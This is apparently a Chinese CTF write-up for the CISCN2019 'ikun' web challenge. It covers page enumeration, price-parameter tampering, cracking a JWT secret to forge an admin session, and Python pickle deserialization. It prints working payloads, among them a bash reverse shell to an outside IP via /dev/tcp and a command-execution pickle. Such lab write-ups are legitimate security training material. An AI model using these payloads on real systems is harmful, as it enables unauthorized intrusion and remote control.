[CISCN2019 华北赛区 Day1 Web2]ikun

<!--这题脑洞确实有点大,所以我们留了些hint,请注意!-->
<!--ikun人肉并祭天了潜伏已久黑粉程序员,永远不要惹我们家kunkun!-->
<!--但是这个黑粉头子好像留了很多漏洞,有没有好心人帮我们家kunkun找出漏洞?!-->
<p class="zhenai">ikun们冲鸭,一定要买到lv6!!!</p>>

找到lv6所在页面

import requests

url = 'http://aea230c3-80e0-4548-867e-b211d2ea7d24.node4.buuoj.cn:81/shop?page='

for i in range(500):
    r = requests.get(url+str(i))
    r.raise_for_status()
    if '/static/img/lv/lv6.png' in r.text:
        print('页数:', i)
        break
    else:
        print('当前页面:', i)

b并发现注册的用户买不起,修改价格不行,修改discount发现可以购买但是提示“该页面,只允许admin访问”

发现jwt,想着伪装成管理员试试

https://jwt.io/可得知HS256加密(对称),使用c-jwt-cracker得出密钥是 1Kun

然鹅管理员也买不起

但是以管理员身份登陆后收到了一个hint:这网站不仅可以以薅羊毛,我还留了个后门,就藏在lv6里

书接上文,修改jwt和discount后发生数据包

查看源码

<!-- 潜伏敌后已久,只能帮到这了 -->
<a href="/static/asd1f654e683wq/www.zip" ><span style="visibility:hidden">删库跑路前我留了好东西在这里</span></a>
<div class="ui segments center padddd">
<!-- 对抗*站黑科技,目前为测试阶段,只对管理员开放 -->

之后对源码进行审计,Admin.py中p = pickle.loads(urllib.unquote(become))存在利用机会

from os import system
import pickle
import urllib


class A(object):
    def __reduce__(self):
        return(system,("echo 'bash -i >& /dev/tcp/49.232.213.200/9000 0>&1'|bash",))

a = A()
b = pickle.dumps(a)
c = urllib.quote(b)
print(c)

反弹shell失败

import commands
import pickle
import urllib

class Rce(object):
    def __reduce__(self):
        return (commands.getoutput,("ls /",))
        #return (eval, ("open('/flag.txt','r').read()",))
a = Rce()
b = pickle.dumps(a)
c = urllib.quote(b)
print(c)

执行任意命令

posted @ 2022-03-17 17:31  NwN  阅读(155)  评论(0)    收藏  举报